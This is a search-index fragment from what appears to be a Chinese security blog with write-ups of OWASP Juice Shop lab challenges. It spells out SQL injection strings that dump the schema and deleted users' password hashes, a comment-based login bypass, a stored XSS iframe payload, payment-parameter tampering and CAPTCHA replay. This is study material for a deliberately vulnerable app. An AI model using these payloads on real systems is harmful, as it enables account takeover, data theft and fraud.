Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#-第一步抓取评论请求"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第二步：篡改 author 字段 …… 将请求发送到 Repeater，在请求体中找到 author 字段，将其改为其他用户的名称。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:2:2","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#-第二步篡改-author-字段"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第三步：完成挑战 …… 发送修改后的请求，成功以他人身份发布商品评论，挑战完成。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:2:3","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#-第三步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"…… 告诉我这有 3 星难度？？？ ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-forged-review/:3:0","tags":["juice-shop","Broken Access Control","身份伪造"],"title":"【juice-shop】★★★ Forged Review：伪造他人商品评论","uri":"/posts/2026/juice-shop-forged-review/#heading"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 /rest/products/search API 的 SQL 注入漏洞，使用 UNION SELECT 查询 SQLite 的 sqlite_master 表，获取整个数据库结构定义。","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:0:0","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#juice-shop-database-schema通过-sql-注入获取数据库结构"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 通过 SQL 注入获取整个数据库结构。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:1:0","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:0","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：发现 SQL 注入点 这个实际上没有一点思路，一开始我认为可能是搜索框那里有注入点，但是回显正常…… 看了一下攻略，原来在进行搜索的时候，调用了一个请/rest/products/search?q=，这里有SQL回显…… 个人认为，SQL注入，只要有回显（或者盲注反应），那就不是很麻烦 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:1","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第一步发现-sql-注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第二步：测试注释和闭合 尝试基础的 SQL 注入语法，闭合原有查询并注释后续语句： 1\u0026#39;))-- ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:2","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第二步测试注释和闭合"},{"categories":["security"],"collections":["juice-shop"],"content":"📊 第三步：确定列数 使用 ORDER BY 逐步增加列数，找出查询的确切列数： 1\u0026#39;))order+by+9-- 确认查询包含 9 列。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:3","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第三步确定列数"},{"categories":["security"],"collections":["juice-shop"],"content":"🎯 第四步：UNION SELECT 回显位置 构造 UNION SELECT 语句，确定各列在响应中的回显位置： 1\u0026#39;))union+select+1,2,3,4,5,6,7,8,9-- ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:4","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第四步union-select-回显位置"},{"categories":["security"],"collections":["juice-shop"],"content":"🗄️ 第五步：识别数据库类型并查询结构 根据回显，确认使用的是 SQLite 数据库。SQLite 将所有表定义存储在 sqlite_master 系统表中。 构造查询语句，从 sqlite_master 表中提取所有 SQL 定义： 1\u0026#39;))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master-- ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:5","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第五步识别数据库类型并查询结构"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第六步：完成挑战 成功获取整个数据库的 schema 定义，挑战完成。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:2:6","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-第六步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"🔧 修复建议 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:3:0","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#-修复建议"},{"categories":["security"],"collections":["juice-shop"],"content":"找到它 第 5 行，关于 SQL 注入的直接找是不是 SQL 拼接了语句，审计一下就行 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:3:1","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#找到它"},{"categories":["security"],"collections":["juice-shop"],"content":"修复它 Fix1 Fix2和Fix3修了个寂寞…… ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:3:2","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#修复它"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_exfiltrate_the_entire_db_schema_definition_via_sql_injection ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-database-schema/:4:0","tags":["juice-shop","SQL注入","UNION SELECT","SQLite"],"title":"【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构","uri":"/posts/2026/juice-shop-database-schema/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 Burp 拦截注册请求，将 XSS 有效负载注入 email 字段绕过客户端验证，当管理员访问用户管理页面时触发弹窗。","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:0:0","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#juice-shop-client-side-xss-protection绕过客户端防护实施存储型-xss"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 果汁店表单中仅有部分输入字段会对输入内容进行验证。 2. 其中更少的部分会以某种方式被持久化，使得其内容能在另一个屏幕上显示。 3. 绕过客户端安全通常可通过两种方式实现：在客户端禁用安全机制（例如通过操作 DOM 树），或完全忽略安全机制而直接与后端交互。\r","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:1:0","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 这题我愿将其称为闪击管理员（ ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:0","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：抓取注册请求 打开 Burp Suite，进行一次正常的用户注册，捕获注册请求包。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:1","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#-第一步抓取注册请求"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第二步：将 XSS 有效负载注入 email 字段 将请求发送到 Repeater，把 email 字段的值替换为 XSS 有效负载： \u0026lt;iframe src=\u0026#39;javascript:alert(`xss`)\u0026#39;\u0026gt; 前端对 email 字段有格式校验，但直接与后端交互可以绕过客户端的验证限制。 发送请求，成功创建含有 XSS 有效负载的新用户。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:2","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#-第二步将-xss-有效负载注入-email-字段"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第三步：以管理员身份验证效果 我们看看管理员那边发生了什么，使用 SQL 注入快速登录管理员账户，访问管理后台： http://127.0.0.1:3000/#/administration ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:3","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#-第三步以管理员身份验证效果"},{"categories":["security"],"collections":["juice-shop"],"content":"💥 第四步：触发 XSS 管理员访问用户管理页面时，XSS 弹窗立即触发。翻页至含有恶意 email 的用户时再次弹窗，硬控管理员数秒。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:4","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#-第四步触发-xss"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 存储型 XSS 成功触发，挑战完成。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:2:5","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_perform_a_persisted_xss_attack_bypassing_a_client_side_security_mechanism ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-client-side-xss-protection/:3:0","tags":["juice-shop","XSS","存储型XSS","客户端绕过"],"title":"【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS","uri":"/posts/2026/juice-shop-client-side-xss-protection/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过拦截高级会员升级请求，将支付方式参数从 wallet 改为空值，绕过支付验证获得高级会员资格。","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:0:0","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#juice-shop-deluxe-fraud免费获得高级会员资格"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 仔细观察当你试图升级账户时会发生什么。 2. 前往豪华会员的支付页面，尝试通过不同方式进行支付。 3. 尝试使用浏览器的开发者工具检查这些方法各自发出的请求。 4. 也许通过调整这些请求中的参数，能发现一些有趣的东西。\r前置条件： 需要登录账户。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:1:0","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 一开始记得使用 Burp 抓包，以及内置浏览器访问网页。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:0","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"💰 第一步：充值钱包余额 这里我们采用一点操作，首先从不存在的信用卡里搞点钱出来 搞点钱，好现在有钱了，然后升级高级成员 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:1","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#-第一步充值钱包余额"},{"categories":["security"],"collections":["juice-shop"],"content":"🎯 第二步：开始高级会员升级 点击升级为高级会员，进入支付页面。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:2","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#-第二步开始高级会员升级"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第三步：拦截支付请求 在这里拦截包 打开 Burp 拦截，点击支付按钮，逐个放行请求包，直到看到 /rest/deluxe-membership 这个关键请求。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:3","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#-第三步拦截支付请求"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：篡改支付方式参数 在 /rest/deluxe-membership 请求中，找到请求体中的支付方式参数： 将其改为空值： ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:4","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#-第四步篡改支付方式参数"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 放行修改后的请求及后续所有请求，成功获得高级会员资格而无需实际支付，挑战完成。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:2:5","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_obtain_a_deluxe_membership_without_paying_for_it ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-deluxe-fraud/:3:0","tags":["juice-shop","Broken Access Control","支付绕过"],"title":"【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格","uri":"/posts/2026/juice-shop-deluxe-fraud/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 SQL 注入查询 sqlite_master 获取数据库结构，发现用户采用软删除机制，进而查询已删除用户信息，利用 SQL 注入登录已删除的 Chris 账户。","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:0:0","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#juice-shop-gdpr-data-erasure登录已删除的用户账户"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 实现用户\"被遗忘的权利\"在技术上和法律上都存在问题。 2. 尝试使用请求数据删除功能或许值得一试，但无法帮助实时解决此问题。 3. 若已解决\"通过 SQL 注入获取所有用户凭证列表\"挑战，或许已掌握 Juice Shop 如何应用户请求\"删除\"账户的相关信息。 4. Juice Shop 在此处的做法完全不符合《通用数据保护条例》（GDPR）。\r","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:1:0","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:0","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 前置思路 提示暗示 Chris 用户表面上被删除了，但实际上可能仍能使用。这涉及数据库的**软删除（Soft Delete）**机制。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:1","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-前置思路"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：推断目标邮箱 先进行账号收集，我在商店的所有评论里面没有找到Chris用户的评论，只是尝试构造Chris的邮箱了 chris@juice-sh.op 尝试直接注入登录，但失败。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:2","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-第一步推断目标邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"📊 第二步：查询数据库结构 看来不行，得请神上身了（AI救我） 首先从 Database Schema 挑战搞来注入语句，查询 sqlite_master 表获取数据库结构： 1\u0026#39;))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master-- 分析返回的 SQL 定义，发现 Users 表包含 deletedAt 字段，这表明应用使用软删除机制：用户被\u0026quot;删除\u0026quot;时，只是将 deletedAt 字段设置为删除时间戳，而不是物理删除记录。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:3","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-第二步查询数据库结构"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第三步：查询已删除用户 构造 SQL 注入语句，查询所有 deletedAt 不为空的用户（已删除用户）： 1\u0026#39;))union+select+id,email,password,role,deletedAt,6,7,8,9+from+Users+where+deletedAt+is+not+null-- 成功获取已删除用户的邮箱、密码哈希和角色信息。 ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:4","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-第三步查询已删除用户"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：登录已删除用户 从查询结果中获取 Chris 的真实邮箱： chris.pike@juice-sh.op 既然已经拿到邮箱，那么直接使用注入进行登录 chris.pike@juice-sh.op\u0026#39;-- ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:5","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-第四步登录已删除用户"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功登录已删除的 Chris 账户，挑战完成。 AI 真好用啊~ ","date":"2026-04-08","objectID":"/posts/2026/juice-shop-gdpr-data-erasure/:2:6","tags":["juice-shop","SQL注入","软删除漏洞","GDPR"],"title":"【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户","uri":"/posts/2026/juice-shop-gdpr-data-erasure/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析验证码机制，发现已通过验证的请求包可直接重放，利用 Burp Intruder 的 Null payloads 在 20 秒内自动提交 10 条以上客户反馈。","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:0:0","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#juice-shop-captcha-bypass绕过验证码批量提交反馈"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 绕过验证码后，编写脚本自动提交，或打开多个标签页快速提交。 2. 可以准备 10 个浏览器标签页，逐个破解验证码并填写表单，在 20 秒内快速切换提交。 3. 若要求改为 60 秒内提交 100 条以上，标签页切换策略将难以应对。 4. 深入研究验证码机制的工作原理，尝试寻找绕过方法或自动化动态破解方案。 5. 将操作封装成脚本，重复执行 10 次。\r","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:1:0","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:2:0","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：抓包分析验证码机制 打开 Burp Suite，访问 http://127.0.0.1:3000/#/contact，分析请求包。 访问用户反馈页面时，前端会向后端申请一个验证码，响应结构如下： 猜测提交反馈时，请求包中包含 captcha 和 captchaId 两个字段，推测后端会将提交的 captcha 与存储的 answer 进行比对，相等则通过验证。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:2:1","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#-第一步抓包分析验证码机制"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 第二步：发现重放漏洞 但是！这里我做了一个尝试，将包发送到重放器顺手点了一下发送，发现返回201，有效…… 这说明后端对已验证的请求包没有做重放防护，直接重放即可绕过验证码。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:2:2","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#-第二步发现重放漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"💥 第三步：使用 Intruder 批量重放 将请求发送到 Intruder，配置 Null payloads： Positions — 点击 Clear §，不添加任何标记 Payloads — Payload type 选择 Null payloads，设置发送次数为 10 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:2:3","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#-第三步使用-intruder-批量重放"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：完成挑战 点击 Start Attack，自动在 20 秒内完成 10 次提交，挑战完成。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:2:4","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#-第四步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 OWASP Juice Shop 官方攻略 - CAPTCHA Bypass ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-captcha-bypass/:3:0","tags":["juice-shop","验证码绕过","Broken Access Control"],"title":"【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈","uri":"/posts/2026/juice-shop-captcha-bypass/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过搜索 Bjoern 的推特主页，在 Media 中找到其宠物照片，获取安全问题答案，利用忘记密码机制重置账户密码。","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Bjoern\u0026rsquo;s Favorite Pet：通过 OSINT 重置密码 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:0:0","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#juice-shop-bjoerns-favorite-pet通过-osint-重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 要解答 Bjoern 的问题，可通过在互联网上搜索他的信息来找到线索。 2. 更准确地说，Bjoern 可能在至少一次摄像机拍摄的场合中，无意间（？）透露了自己的安全问题答案。 3. 通过暴力破解获取答案完全可行，前提是准备一份足够详尽的常用宠物名列表。\r前置条件： 需要网络能够访问推特（X）。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:1:0","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 这题也是 OSINT 的题目……其实可以直接注入进去（雾 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:2:0","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"📧 第一步：获取目标邮箱与安全问题 在商店的商品评论区找到 Bjoern 留下的评论，进入忘记密码页面输入其邮箱，安全问题自动显示： 你的宠物名叫什么？ 